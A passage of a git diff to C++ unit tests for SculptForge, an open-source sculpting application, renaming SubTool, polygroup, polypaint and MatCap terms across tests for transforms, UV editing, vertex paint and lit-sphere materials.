@@ -320,7 +320,7 @@ TEST(transform_session_never_accumulates) {
s.apply(a.mesh, t);
}
a.undo.push(s.finish(a.mesh, a.bvh, "Rotate"));
- CHECK(transformSubtool(b, 0, t, true, 0.1f, Symmetry{false, false, false}, "Rotate") > 0);
+ CHECK(transformPart(b, 0, t, true, 0.1f, Symmetry{false, false, false}, "Rotate") > 0);
CHECK(sameBits(a.mesh.positions, b.mesh.positions));
CHECK(maxDistance(a.mesh.normals, b.mesh.normals) < 1e-5f);
// An identity drag (click without moving) leaves no undo step and no change.
@@ -362,7 +362,7 @@ TEST(transform_euler_round_trip) {
}
TEST(transform_perf_million_triangles) {
- // 1.3M triangles: a whole-SubTool drag frame and a masked (posing) drag frame, plus begin / finish.
+ // 1.3M triangles: a whole-Part drag frame and a masked (posing) drag frame, plus begin / finish.
Mesh m = makeIcosphere(8);
maskBelowX(m, 0.3f);
Document d = makeDoc(std::move(m));
@@ -391,13 +391,13 @@ TEST(transform_perf_million_triangles) {
CHECK(run(d, "undo").ok);
const double undo = ms(t0);
std::printf(" %zu tris, %s: begin %.1f ms, %.1f ms per drag frame (%zu verts), finish %.1f ms, undo %.1f ms\n",
- d.mesh.triangleCount(), masked ? "masked + falloff 0.1" : "whole SubTool", begin, frame,
+ d.mesh.triangleCount(), masked ? "masked + falloff 0.1" : "whole Part", begin, frame,
moving, finish, undo);
}
}
TEST(transform_saved_in_projects) {
- // A posed SubTool with a sculpt layer and quads saves and opens as it is.
+ // A posed Part with a sculpt layer and quads saves and opens as it is.
Document d = makeDoc(makeCube(6));
d.mesh.addLayer("Detail");
for (uint32_t v = 0; v < d.mesh.vertexCount(); ++v) d.mesh.layers[0].delta[v] = d.mesh.normals[v] * 0.05f;
diff --git a/tests/test_uv_editor.cpp b/tests/test_uv_editor.cpp
index 5263af23..b44e952e 100644
--- a/tests/test_uv_editor.cpp
+++ b/tests/test_uv_editor.cpp
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// UV Editor (core/Uv.h): UV topology, the unwrap solvers (LSCM, least stretch, polygroups, planar, unfold), cut
+// UV Editor (core/Uv.h): UV topology, the unwrap solvers (LSCM, least stretch, face groups, planar, unfold), cut
// graphs for closed pieces, packing into one tile and across UDIM tiles, texel density, trim sheets, seams,
// weld / split / straighten, the uv_* commands with undo, painted textures following the UVs, and the cost on
// a million triangles.
@@ -55,7 +55,7 @@ size_t flippedTriangles(const Mesh& m) {
return size_t(std::count(s.begin(), s.end(), -1.0f));
}
-// A cube whose six sides are polygroups 1-6 (makeCube's), without UVs.
+// A cube whose six sides are face groups 1-6 (makeCube's), without UVs.
Mesh cube(int res = 6) {
Mesh m = makeCube(res);
m.uvs.clear();
@@ -180,9 +180,9 @@ TEST(uv_unwrap_closed_sphere_gets_cut_automatically) {
CHECK(uvStretchStats(doc.mesh).mean < 0.3f);
}
-TEST(uv_unwrap_by_polygroups_gives_one_flat_island_per_side) {
+TEST(uv_unwrap_by_facegroups_gives_one_flat_island_per_side) {
Document doc = makeDoc(cube());
- const CommandResult r = run(doc, "uv_unwrap", {{"method", std::string("polygroups")}});
+ const CommandResult r = run(doc, "uv_unwrap", {{"method", std::string("facegroups")}});
CHECK(r.ok);
const UvTopology topo = buildUvTopology(doc.mesh);
CHECK(topo.islandCount == 6);
@@ -199,7 +199,7 @@ TEST(uv_unwrap_by_polygroups_gives_one_flat_island_per_side) {
TEST(uv_unwrap_planar_and_conformal_methods) {
for (const char* method : {"planar", "conformal", "auto"}) {
Document doc = makeDoc(cube(4));
- uvSeamsFromPolygroups(doc.mesh, cornerTwins(doc.mesh));
+ uvSeamsFromFaceGroups(doc.mesh, cornerTwins(doc.mesh));
const CommandResult r = run(doc, "uv_unwrap", {{"method", std::string(method)}});
CHECK(r.ok);
CHECK(doc.mesh.hasUvs());
@@ -211,7 +211,7 @@ TEST(uv_unwrap_planar_and_conformal_methods) {
TEST(uv_unfold_keeps_pins_and_layout) {
Document doc = makeDoc(cube(4));
- CHECK(run(doc, "uv_unwrap", {{"method", std::string("polygroups")}}).ok);
+ CHECK(run(doc, "uv_unwrap", {{"method", std::string("facegroups")}}).ok);
const std::vector<glm::vec2> before = doc.mesh.uvs;
// Pin one corner after nudging it; Unfold keeps it there.
const UvTopology topo = buildUvTopology(doc.mesh);
@@ -231,7 +231,7 @@ TEST(uv_unfold_keeps_pins_and_layout) {
TEST(uv_pack_one_tile_and_udim_tiles) {
Document doc = makeDoc(cube());
- CHECK(run(doc, "uv_unwrap", {{"method", std::string("polygroups")}}).ok);
+ CHECK(run(doc, "uv_unwrap", {{"method", std::string("facegroups")}}).ok);
// Across four UDIM tiles: six equal squares fit best four to a tile, so two tiles (1001, 1002) hold them
// at twice the size one tile would give.
CommandResult r = run(doc, "uv_pack", {{"tiles", 4.0}, {"margin", 16.0}});
@@ -275,7 +275,7 @@ TEST(uv_pack_rectangles) {
TEST(uv_texel_density_set_and_match) {
Document doc = makeDoc(cube());
- CHECK(run(doc, "uv_unwrap", {{"method", std::string("polygroups")}}).ok);
+ CHECK(run(doc, "uv_unwrap", {{"method", std::string("facegroups")}}).ok);
// Make the islands differ, then match them.
UvTopology topo = buildUvTopology(doc.mesh);
std::vector<uint8_t> one(topo.islandCount, 0);
@@ -325,15 +325,15 @@ TEST(uv_trim_sheet_strips) {
CHECK(!parseTrimStrips("banana", strips, err));
Document doc = makeDoc(cube());
- CHECK(run(doc, "uv_unwrap", {{"method", std::string("polygroups")}}).ok);
- CHECK(run(doc, "uv_select", {{"op", std::string("polygroup")}, {"group", 1.0}, {"mode", std::string("island")}}).ok);
+ CHECK(run(doc, "uv_unwrap", {{"method", std::string("facegroups")}}).ok);
+ CHECK(run(doc, "uv_select", {{"op", std::string("facegroup")}, {"group", 1.0}, {"mode", std::string("island")}}).ok);
CommandResult r = run(doc, "uv_trim", {{"strip", 2.0}, {"strips", std::string("4")}, {"fit_width", true}});
CHECK(r.ok);
// The selected island sits in strip 2 (v 0.5 - 0.75) across u 0-1.
const UvTopology topo = buildUvTopology(doc.mesh);
glm::vec2 lo(1e30f), hi(-1e30f);
for (uint32_t t = 0; t < doc.mesh.triangleCount(); ++t) {
- if (doc.mesh.polygroupAt(t) != 1) continue;
+ if (doc.mesh.facegroupAt(t) != 1) continue;
for (uint32_t j = 0; j < 3; ++j) lo = glm::min(lo, doc.mesh.uvs[t * 3 + j]), hi = glm::max(hi, doc.mesh.uvs[t * 3 + j]);
}
CHECK(lo.y >= 0.5f - 1e-4f && hi.y <= 0.75f + 1e-4f);
@@ -341,9 +341,9 @@ TEST(uv_trim_sheet_strips) {
CHECK(hi.y - lo.y > 0.2f); // filled the strip's height (less the margin)
}
-TEST(uv_seams_path_polygroups_and_angle) {
+TEST(uv_seams_path_facegroups_and_angle) {
Document doc = makeDoc(cube(4));
- CommandResult r = run(doc, "uv_seam", {{"op", std::string("polygroups")}});
+ CommandResult r = run(doc, "uv_seam", {{"op", std::string("facegroups")}});
CHECK(r.ok);
CHECK(uvSeamCount(doc.mesh) == 12 * 4); // 12 cube edges, 4 segments each
CHECK(run(doc, "uv_seam", {{"op", std::string("clear_all")}}).ok);
@@ -368,7 +368,7 @@ TEST(uv_seams_path_polygroups_and_angle) {
TEST(uv_weld_split_straighten) {
Document doc = makeDoc(cube(4));
- CHECK(run(doc, "uv_unwrap", {{"method", std::string("polygroups")}}).ok);
+ CHECK(run(doc, "uv_unwrap", {{"method", std::string("facegroups")}}).ok);
// Split one side's faces into two islands by its half.
UvTopology topo = buildUvTopology(doc.mesh);
const size_t before = topo.islandCount;
@@ -376,7 +376,7 @@ TEST(uv_weld_split_straighten) {
for (uint32_t t = 0; t < faces.size(); ++t) {
const glm::uvec3 tri = doc.mesh.triangles[t];
const glm::vec3 c = (doc.mesh.positions[tri.x] + doc.mesh.positions[tri.y] + doc.mesh.positions[tri.z]) / 3.0f;
- faces[t] = doc.mesh.polygroupAt(t) == 1 && c.x + c.y + c.z > 0.0f;
+ faces[t] = doc.mesh.facegroupAt(t) == 1 && c.x + c.y + c.z > 0.0f;
}
doc.uvSelection.mode = UvSelectMode::Face;
doc.uvSelection.faces = faces;
@@ -401,7 +401,7 @@ TEST(uv_weld_split_straighten) {
TEST(uv_commands_undo_redo_exactly) {
Document doc = makeDoc(cube());
- CHECK(run(doc, "uv_unwrap", {{"method", std::string("polygroups")}}).ok);
+ CHECK(run(doc, "uv_unwrap", {{"method", std::string("facegroups")}}).ok);
const std::vector<glm::vec2> a = doc.mesh.uvs;
CHECK(run(doc, "uv_transform", {{"rotate", 30.0}, {"scale", 0.5}, {"move_u", 0.1}}).ok);
const std::vector<glm::vec2> b = doc.mesh.uvs;
@@ -423,7 +423,7 @@ TEST(uv_commands_undo_redo_exactly) {
TEST(uv_selection_modes_convert) {
Document doc = makeDoc(cube(4));
- CHECK(run(doc, "uv_unwrap", {{"method", std::string("polygroups")}}).ok);
+ CHECK(run(doc, "uv_unwrap", {{"method", std::string("facegroups")}}).ok);
CHECK(run(doc, "uv_select", {{"op", std::string("face")}, {"face", 0.0}, {"mode", std::string("face")}}).ok);
CHECK(doc.uvSelection.count() == 1);
CHECK(run(doc, "uv_select", {{"op", std::string("mode")}, {"mode", std::string("island")}}).ok);
@@ -442,13 +442,13 @@ TEST(uv_painted_texture_follows_the_new_layout) {
// Paint each side of the cube its own colour, then repack: the model looks the same (keep_texture), but
// with keep_texture=false the colours slide.
Document doc = makeDoc(cube(4));
- CHECK(run(doc, "uv_unwrap", {{"method", std::string("polygroups")}}).ok);
+ CHECK(run(doc, "uv_unwrap", {{"method", std::string("facegroups")}}).ok);
CHECK(run(doc, "texture_create", {{"size", std::string("1024")}}).ok);
Mesh& m = doc.mesh;
PaintTexture& tex = *m.texture;
bakeTexels(m, tex, [&](uint32_t t, float, float, float, int x, int y) {
uint8_t* px = &tex.pixels[(size_t(y) * size_t(tex.width) + size_t(x)) * 4];
- const uint32_t g = m.polygroupAt(t);
+ const uint32_t g = m.facegroupAt(t);
px[0] = uint8_t(g * 40), px[1] = uint8_t(255 - g * 30), px[2] = uint8_t(g * 20), px[3] = 255;
}, true);
tex.markAllDirty();
@@ -477,7 +477,7 @@ TEST(uv_painted_texture_follows_the_new_layout) {
TEST(uv_project_round_trip_keeps_seams_and_pins) {
Document doc = makeDoc(cube(4));
- CHECK(run(doc, "uv_seam", {{"op", std::string("polygroups")}}).ok);
+ CHECK(run(doc, "uv_seam", {{"op", std::string("facegroups")}}).ok);
CHECK(run(doc, "uv_unwrap", {{"method", std::string("conformal")}}).ok);
std::vector<uint32_t> corners = {0, 1, 2};
uvSetPins(doc.mesh, corners, true);
@@ -493,17 +493,17 @@ TEST(uv_project_round_trip_keeps_seams_and_pins) {
TEST(uv_editor_million_triangles_stay_interactive) {
// An 8-level icosphere: 1.3M triangles. Topology, measures, a transform and a pack are each well under the
- // time a frame or a click can take; a full unwrap by polygroups (in the background in the app) takes seconds.
+ // time a frame or a click can take; a full unwrap by face groups (in the background in the app) takes seconds.
Mesh m = makeIcosphere(8);
- // Eight polygroups by octant, as seams.
- m.ensurePolygroups();
+ // Eight face groups by octant, as seams.
+ m.ensureFaceGroups();
for (uint32_t t = 0; t < m.triangleCount(); ++t) {
const glm::vec3 c = m.positions[m.triangles[t].x];
- m.polygroups[t] = (c.x > 0) + 2 * (c.y > 0) + 4 * (c.z > 0);
+ m.facegroups[t] = (c.x > 0) + 2 * (c.y > 0) + 4 * (c.z > 0);
}
std::printf(" %zu triangles\n", m.triangleCount());
UvUnwrapOptions o;
- o.method = UvUnwrapMethod::Polygroups;
+ o.method = UvUnwrapMethod::FaceGroups;
o.iterations = 4;
UvUnwrapResult r;
std::string err;
diff --git a/tests/test_vdm.cpp b/tests/test_vdm.cpp
index df134254..12c29970 100644
--- a/tests/test_vdm.cpp
+++ b/tests/test_vdm.cpp
@@ -351,7 +351,7 @@ TEST(vdm_library_commands) {
fs::remove(lib.root / "user" / "broken.sfvdm");
CHECK(run(d, "vdm_new_plane", {{"resolution", 64.0}}));
- CHECK(d.subtoolCount() == 2 && !d.subtools[0].visible && d.activeSubtool == 1 && d.mesh.hasUvs());
+ CHECK(d.partCount() == 2 && !d.parts[0].visible && d.activePart == 1 && d.mesh.hasUvs());
for (glm::vec3& p : d.mesh.positions) p += sculptedOffset(p);
const std::string exr = (lib.root / "Spike.exr").string();
CHECK(run(d, "vdm_capture", {{"name", std::string("Spike")}, {"resolution", 64.0}, {"exr", exr}}));
diff --git a/tests/test_polypaint.cpp b/tests/test_vertexpaint.cpp
similarity index 77%
rename from tests/test_polypaint.cpp
rename to tests/test_vertexpaint.cpp
index 65691969..4579fde5 100644
--- a/tests/test_polypaint.cpp
+++ b/tests/test_vertexpaint.cpp
@@ -1,14 +1,14 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Polypaint (Paint brush, fills, cavity paint, colour commands, PLY/USD
-// export) and the built-in MatCap materials.
+// Vertex paint (Paint brush, fills, cavity paint, colour commands, PLY/USD
+// export) and the built-in Lit Sphere materials.
#include "TestHarness.h"
#include "core/Commands.h"
#include "core/Image.h"
-#include "core/Matcap.h"
-#include "core/Polypaint.h"
+#include "core/LitSphere.h"
+#include "core/VertexPaint.h"
#include "core/Primitives.h"
#include "core/Trash.h"
#include "core/Vdm.h"
@@ -46,7 +46,7 @@ const glm::vec3 kRed(1.0f, 0.0f, 0.0f);
} // namespace
-TEST(polypaint_parse_color) {
+TEST(vertexpaint_parse_color) {
glm::vec3 c;
CHECK(parseColor("#ff0000", c) && near(c, kRed));
CHECK(parseColor(" #F00 ", c) && near(c, kRed));
@@ -64,7 +64,7 @@ TEST(polypaint_parse_color) {
near(linearToSrgb(c), glm::vec3(0.2f, 0.4f, 0.6f), 3e-3f));
}
-TEST(polypaint_brush_falloff_symmetry_mask_undo) {
+TEST(vertexpaint_brush_falloff_symmetry_mask_undo) {
Document doc = makeDoc(makeIcosphere(4));
Mesh& m = doc.mesh;
const std::vector<glm::vec3> before = m.positions;
@@ -99,7 +99,7 @@ TEST(polypaint_brush_falloff_symmetry_mask_undo) {
CHECK(paintDab(doc.sculptor, m, doc.bvh, paintParams(m.positions[far], 0.5f), kRed, Symmetry{}) == 0);
}
-TEST(polypaint_invert_hidden_front_faces) {
+TEST(vertexpaint_invert_hidden_front_faces) {
Document doc = makeDoc(makeIcosphere(3));
Mesh& m = doc.mesh;
m.ensureColors(kRed);
@@ -123,7 +123,7 @@ TEST(polypaint_invert_hidden_front_faces) {
CHECK(backCount == 0);
}
-TEST(polypaint_with_sculpt_is_one_undo_step) {
+TEST(vertexpaint_with_sculpt_is_one_undo_step) {
Document doc = makeDoc(makeIcosphere(3));
Mesh& m = doc.mesh;
const std::vector<glm::vec3> before = m.positions;
@@ -140,7 +140,7 @@ TEST(polypaint_with_sculpt_is_one_undo_step) {
CHECK(m.positions == before && m.colors[v] == glm::vec3(1.0f));
}
-TEST(polypaint_fill_and_clear_commands) {
+TEST(vertexpaint_fill_and_clear_commands) {
CommandRegistry reg;
Document doc = makeDoc(makeIcosphere(3));
Mesh& m = doc.mesh;
@@ -153,7 +153,7 @@ TEST(polypaint_fill_and_clear_commands) {
CHECK(reg.execute(doc, "set_color", {{"color", std::string("#0000ff")}}).ok);
CHECK(near(doc.paintColor, glm::vec3(0, 0, 1)));
CHECK(reg.execute(doc, "paint_fill").ok);
- CHECK(reg.execute(doc, "undo").ok && !m.hasColors()); // the first fill's undo removes polypaint again
+ CHECK(reg.execute(doc, "undo").ok && !m.hasColors()); // the first fill's undo removes vertex paint again
CHECK(reg.execute(doc, "redo").ok && m.hasColors());
CHECK(std::all_of(m.colors.begin(), m.colors.end(), [](const glm::vec3& c) { return near(c, glm::vec3(0, 0, 1)); }));
@@ -182,7 +182,7 @@ TEST(polypaint_fill_and_clear_commands) {
CHECK(reg.execute(doc, "set_color", {{"r", 255.0}, {"g", 0.0}, {"b", 0.0}}).ok && near(doc.paintColor, kRed));
}
-TEST(polypaint_fill_skips_hidden) {
+TEST(vertexpaint_fill_skips_hidden) {
Mesh m = makeIcosphere(2);
m.ensureHidden();
const uint32_t v = nearestVertex(m, {0, 1, 0});
@@ -191,7 +191,7 @@ TEST(polypaint_fill_skips_hidden) {
CHECK(m.colors[v] == glm::vec3(1.0f) && m.colors[nearestVertex(m, {0, -1, 0})] == kRed);
}
-TEST(polypaint_from_cavity) {
+TEST(vertexpaint_from_cavity) {
Mesh m = makeIcosphere(4);
// Push one vertex in to make a dent; the rest of the sphere is convex.
const uint32_t dent = nearestVertex(m, {0, 0, 1}), far = nearestVertex(m, {0, 0, -1});
@@ -206,7 +206,7 @@ TEST(polypaint_from_cavity) {
CHECK(reg.execute(doc, "paint_from_cavity", {{"smoothing", 0.0}, {"strength", 1.0}}).ok);
CHECK(doc.mesh.colors[dent].x < 0.5f && doc.mesh.colors[far] == glm::vec3(1.0f));
CHECK(reg.execute(doc, "undo").ok);
- CHECK(!doc.mesh.hasColors()); // undo of the first colour edit removes polypaint
+ CHECK(!doc.mesh.hasColors()); // undo of the first colour edit removes vertex paint
// Masked vertices keep their colour.
doc.mesh.ensureMask();
doc.mesh.mask[dent] = 1.0f;
@@ -214,7 +214,7 @@ TEST(polypaint_from_cavity) {
CHECK(doc.mesh.colors[dent] == glm::vec3(1.0f));
}
-TEST(polypaint_sample_color) {
+TEST(vertexpaint_sample_color) {
Mesh m = makeIcosphere(1);
m.ensureColors(glm::vec3(0.0f));
const glm::uvec3 t = m.triangles[0];
@@ -227,10 +227,10 @@ TEST(polypaint_sample_color) {
CHECK(sampleColor(m, uint32_t(m.triangleCount()), centre) == glm::vec3(1.0f)); // out of range
}
-TEST(polypaint_export_ply_and_usd) {
+TEST(vertexpaint_export_ply_and_usd) {
CommandRegistry reg;
Document doc = makeDoc(makeIcosphere(3));
- const std::string plain = tempPath("sf_polypaint_plain.ply"), painted = tempPath("sf_polypaint.ply");
+ const std::string plain = tempPath("sf_vertexpaint_plain.ply"), painted = tempPath("sf_vertexpaint.ply");
CHECK(reg.execute(doc, "export_ply", {{"path", plain}}).ok);
for (uint32_t v = 0; v < doc.mesh.vertexCount(); ++v) {
doc.mesh.ensureColors();
@@ -253,7 +253,7 @@ TEST(polypaint_export_ply_and_usd) {
}
CHECK(same);
- const std::string usd = tempPath("sf_polypaint.usda");
+ const std::string usd = tempPath("sf_vertexpaint.usda");
CHECK(reg.execute(doc, "export_usd", {{"path", usd}}).ok);
std::ifstream f(usd);
std::stringstream text;
@@ -268,7 +268,7 @@ TEST(polypaint_export_ply_and_usd) {
std::filesystem::remove(usd);
}
-TEST(polypaint_commands_in_schema) {
+TEST(vertexpaint_commands_in_schema) {
CommandRegistry reg;
const std::string schema = reg.toolSchemaJson();
for (const char* name : {"set_color", "paint_fill", "paint_clear", "paint_from_cavity", "export_ply"}) {
@@ -277,23 +277,23 @@ TEST(polypaint_commands_in_schema) {
}
}
-TEST(matcap_builtin_materials) {
- CHECK(builtinMatcapCount() >= 4 && builtinMatcapCount() <= 8);
- for (int i = 0; i < builtinMatcapCount(); ++i) {
- CHECK(std::string(matcapName(i)).size() > 0);
- CHECK(findMatcap(matcapName(i)) == i);
- for (int j = 0; j < i; ++j) CHECK(std::string(matcapName(i)) != matcapName(j));
+TEST(litsphere_builtin_materials) {
+ CHECK(builtinLitSphereCount() >= 4 && builtinLitSphereCount() <= 8);
+ for (int i = 0; i < builtinLitSphereCount(); ++i) {
+ CHECK(std::string(litsphereName(i)).size() > 0);
+ CHECK(findLitSphere(litsphereName(i)) == i);
+ for (int j = 0; j < i; ++j) CHECK(std::string(litsphereName(i)) != litsphereName(j));
}
- CHECK(findMatcap("red wax") >= 0 && findMatcap("RedWax") == findMatcap("Red Wax"));
- CHECK(findMatcap("chrome") >= 0 && findMatcap("unobtainium") == -1);
- CHECK(generateMatcap(-1).empty() && generateMatcap(builtinMatcapCount()).empty() && generateMatcap(0, 0).empty());
+ CHECK(findLitSphere("red wax") >= 0 && findLitSphere("RedWax") == findLitSphere("Red Wax"));
+ CHECK(findLitSphere("chrome") >= 0 && findLitSphere("unobtainium") == -1);
+ CHECK(generateLitSphere(-1).empty() && generateLitSphere(builtinLitSphereCount()).empty() && generateLitSphere(0, 0).empty());
const int size = 64;
auto pixel = [&](const std::vector<uint8_t>& img, int i, int j) {
const uint8_t* p = img.data() + (size_t(j) * size + size_t(i)) * 4;
return glm::ivec4(p[0], p[1], p[2], p[3]);
};
- const std::vector<uint8_t> wax = generateMatcap(findMatcap("Red Wax"), size);
+ const std::vector<uint8_t> wax = generateLitSphere(findLitSphere("Red Wax"), size);
CHECK(wax.size() == size_t(size) * size * 4);
const glm::ivec4 c = pixel(wax, size / 2, size / 2);
CHECK(c.x > c.y + 40 && c.x > c.z + 40 && c.w == 255); // red
@@ -302,43 +302,43 @@ TEST(matcap_builtin_materials) {
CHECK(lit.x > dark.x);
// Corners repeat the rim instead of being undefined.
CHECK(pixel(wax, 0, 0).w == 255);
- const std::vector<uint8_t> chrome = generateMatcap(findMatcap("Chrome"), size);
+ const std::vector<uint8_t> chrome = generateLitSphere(findLitSphere("Chrome"), size);
CHECK(chrome != wax);
const glm::ivec4 cc = pixel(chrome, size / 2, size / 2);
CHECK(std::abs(cc.x - cc.z) < 40); // neutral metal
// Deterministic.
- CHECK(generateMatcap(findMatcap("Chrome"), size) == chrome);
+ CHECK(generateLitSphere(findLitSphere("Chrome"), size) == chrome);
// Sculpt, the readability-first material, comes first: a neutral warm clay with a strong key from the upper
// left (a clear light-to-shadow range, so slopes read), and the deepest cavity shading of them all.
- CHECK(findMatcap("sculpt") == 0);
- const std::vector<uint8_t> sculpt = generateMatcap(0, size);
+ CHECK(findLitSphere("sculpt") == 0);
+ const std::vector<uint8_t> sculpt = generateLitSphere(0, size);
const glm::ivec4 sc = pixel(sculpt, size / 2, size / 2);
CHECK(sc.x >= sc.z && sc.x - sc.z < 60);
CHECK(pixel(sculpt, size / 4, size * 3 / 4).x > pixel(sculpt, size * 3 / 4, size / 4).x + 60);
- for (int i = 1; i < builtinMatcapCount(); ++i) CHECK(matcapCavity(0).crease > matcapCavity(i).crease);
+ for (int i = 1; i < builtinLitSphereCount(); ++i) CHECK(litsphereCavity(0).crease > litsphereCavity(i).crease);
// Soft Clay, the default (last, so the others keep their indices): a matte warm light grey, lit
// from the upper left, with no highlight anywhere near white.
- CHECK(defaultMatcap() == findMatcap("soft clay") && defaultMatcap() == builtinMatcapCount() - 1);
- const std::vector<uint8_t> clay = generateMatcap(defaultMatcap(), size);
+ CHECK(defaultLitSphere() == findLitSphere("soft clay") && defaultLitSphere() == builtinLitSphereCount() - 1);
+ const std::vector<uint8_t> clay = generateLitSphere(defaultLitSphere(), size);
const glm::ivec4 cl = pixel(clay, size / 2, size / 2);
CHECK(cl.x >= cl.z && cl.x - cl.z < 30 && cl.x > 120);
CHECK(pixel(clay, size / 4, size * 3 / 4).x > pixel(clay, size * 3 / 4, size / 4).x + 40);
int brightest = 0;
for (size_t k = 0; k < clay.size(); k += 4) brightest = std::max(brightest, int(clay[k]));
CHECK(brightest < 225);
- CHECK(matcapCavity(-1).crease > 0.0f && matcapCavity(builtinMatcapCount()).crease == matcapCavity(-1).crease);
- // The pickers list the default first, then every other MatCap once, in index order.
- CHECK(matcapInListOrder(0) == defaultMatcap() && matcapInListOrder(1) == 0);
- CHECK(matcapInListOrder(-1) == -1 && matcapInListOrder(builtinMatcapCount()) == -1);
+ CHECK(litsphereCavity(-1).crease > 0.0f && litsphereCavity(builtinLitSphereCount()).crease == litsphereCavity(-1).crease);
+ // The pickers list the default first, then every other Lit Sphere once, in index order.
+ CHECK(litsphereInListOrder(0) == defaultLitSphere() && litsphereInListOrder(1) == 0);
+ CHECK(litsphereInListOrder(-1) == -1 && litsphereInListOrder(builtinLitSphereCount()) == -1);
std::vector<int> listed;
- for (int k = 0; k < builtinMatcapCount(); ++k) listed.push_back(matcapInListOrder(k));
+ for (int k = 0; k < builtinLitSphereCount(); ++k) listed.push_back(litsphereInListOrder(k));
std::sort(listed.begin(), listed.end());
- for (int i = 0; i < builtinMatcapCount(); ++i) CHECK(listed[size_t(i)] == i);
+ for (int i = 0; i < builtinLitSphereCount(); ++i) CHECK(listed[size_t(i)] == i);
}
-TEST(matcap_custom_images) {
+TEST(litsphere_custom_images) {
// A lit-sphere image of our own (#15): a 48 x 32 PNG (cropped to its centred 32 x 32), green on the right.
Image img;
img.width = 48;
@@ -351,7 +351,7 @@ TEST(matcap_custom_images) {
p[1] = uint8_t(x < 24 ? 30 : 220);
p[2] = uint8_t(y < 16 ? 10 : 90); // top half differs from the bottom half
}
- const std::string dir = tempPath("sf_matcaps_test");
+ const std::string dir = tempPath("sf_litspheres_test");
std::filesystem::remove_all(dir);
std::filesystem::create_directories(dir);
std::string err;
@@ -359,46 +359,46 @@ TEST(matcap_custom_images) {
{ std::ofstream(dir + "/broken.jpg") << "not an image"; }
{ std::ofstream(dir + "/notes.txt") << "ignored"; }
- const int before = matcapCount();
- const std::vector<std::string> messages = loadMatcapFolders({dir});
+ const int before = litsphereCount();
+ const std::vector<std::string> messages = loadLitSphereFolders({dir});
CHECK(messages.size() == 1 && messages[0].find("broken.jpg") != std::string::npos);
- const int i = findMatcap("green gold");
- CHECK(i == before && matcapCount() == before + 1 && isCustomMatcap(i) && !isCustomMatcap(0));
- const CustomMatcap* c = customMatcap(i);
+ const int i = findLitSphere("green gold");
+ CHECK(i == before && litsphereCount() == before + 1 && isCustomLitSphere(i) && !isCustomLitSphere(0));
+ const CustomLitSphere* c = customLitSphere(i);
CHECK(c && c->size == 32 && c->rgba.size() == size_t(32) * 32 * 4 && c->path.find("Green Gold.png") != std::string::npos);
// Rows bottom-up like the built-ins: row 0 is the image's bottom row (blue 90); the crop keeps x 8..39.
CHECK(c->rgba[2] == 90 && c->rgba[(size_t(31) * 32) * 4 + 2] == 10);
CHECK(c->rgba[0] == 200 && c->rgba[(size_t(31)) * 4 + 1] == 220);
- CHECK(matcapInListOrder(i) == i && matcapKey(i).find("Green Gold#") == 0);
- CHECK(generateMatcap(i, 16).size() == size_t(16) * 16 * 4);
+ CHECK(litsphereInListOrder(i) == i && litsphereKey(i).find("Green Gold#") == 0);
+ CHECK(generateLitSphere(i, 16).size() == size_t(16) * 16 * 4);
// Loading the same name again replaces its pixels (same index); a built-in's name is kept for the built-in.
- const uint64_t revision = matcapRevision(), hash = c->hash;
- CustomMatcap again;
- CHECK(readMatcapImage(dir + "/Green Gold.png", again, err));
+ const uint64_t revision = litsphereRevision(), hash = c->hash;
+ CustomLitSphere again;
+ CHECK(readLitSphereImage(dir + "/Green Gold.png", again, err));
again.rgba[0] = 1;
again.hash = 0;
- CHECK(addCustomMatcap(again) == i && matcapRevision() != revision && customMatcap(i)->hash != hash);
- CustomMatcap chrome = again;
+ CHECK(addCustomLitSphere(again) == i && litsphereRevision() != revision && customLitSphere(i)->hash != hash);
+ CustomLitSphere chrome = again;
chrome.name = "Chrome";
- const int ci = addCustomMatcap(chrome);
- CHECK(std::string(matcapName(ci)) == "Chrome 2" && findMatcap("Chrome") < builtinMatcapCount());
+ const int ci = addCustomLitSphere(chrome);
+ CHECK(std::string(litsphereName(ci)) == "Chrome 2" && findLitSphere("Chrome") < builtinLitSphereCount());
// PNG round trip (what projects embed) keeps the pixels exactly.
std::vector<uint8_t> png;
- CHECK(!encodeMatcapPng(0, png)); // built-ins aren't embedded
- CHECK(encodeMatcapPng(i, png));
- CustomMatcap back;
- CHECK(decodeMatcapImage(png.data(), png.size(), back, err) && back.hash == customMatcap(i)->hash);
- CHECK(findMatcapByHash(back.hash) == i);
+ CHECK(!encodeLitSpherePng(0, png)); // built-ins aren't embedded
+ CHECK(encodeLitSpherePng(i, png));
+ CustomLitSphere back;
+ CHECK(decodeLitSphereImage(png.data(), png.size(), back, err) && back.hash == customLitSphere(i)->hash);
+ CHECK(findLitSphereByHash(back.hash) == i);
// OpenEXR, linear light: 1.0 is white, 0.5 is sRGB 188, values above 1 clamp.
VectorDisplacement exr;
exr.width = exr.height = 16;
exr.vectors.assign(256, glm::vec3(0.5f, 1.0f, 4.0f));
CHECK(writeVdmExr(dir + "/Linear.exr", exr, err));
- CustomMatcap lin;
- CHECK(readMatcapImage(dir + "/Linear.exr", lin, err) && lin.size == 16 && lin.name == "Linear");
+ CustomLitSphere lin;
+ CHECK(readLitSphereImage(dir + "/Linear.exr", lin, err) && lin.size == 16 && lin.name == "Linear");
CHECK(std::abs(int(lin.rgba[0]) - 188) <= 1 && lin.rgba[1] == 255 && lin.rgba[2] == 255);
// Too small, or not an image at all.
@@ -406,28 +406,28 @@ TEST(matcap_custom_images) {
tiny.width = tiny.height = 8;
tiny.rgba.assign(8 * 8 * 4, 128);
CHECK(tiny.savePng(dir + "/tiny.png", err));
- CHECK(!readMatcapImage(dir + "/tiny.png", lin, err) && err.find("too small") != std::string::npos);
- CHECK(!readMatcapImage(dir + "/missing.png", lin, err));
- CHECK(isMatcapFile("a/B.EXR") && isMatcapFile("x.jpeg") && !isMatcapFile("x.sfbrush"));
+ CHECK(!readLitSphereImage(dir + "/tiny.png", lin, err) && err.find("too small") != std::string::npos);
+ CHECK(!readLitSphereImage(dir + "/missing.png", lin, err));
+ CHECK(isLitSphereFile("a/B.EXR") && isLitSphereFile("x.jpeg") && !isLitSphereFile("x.sfbrush"));
std::filesystem::remove_all(dir);
}
-TEST(matcap_remove_and_trash) {
- // Removing keeps the index taken (the renderer and the view refer to MatCaps by index) but takes the MatCap
+TEST(litsphere_remove_and_trash) {
+ // Removing keeps the index taken (the renderer and the view refer to Lit Spheres by index) but takes the Lit Sphere
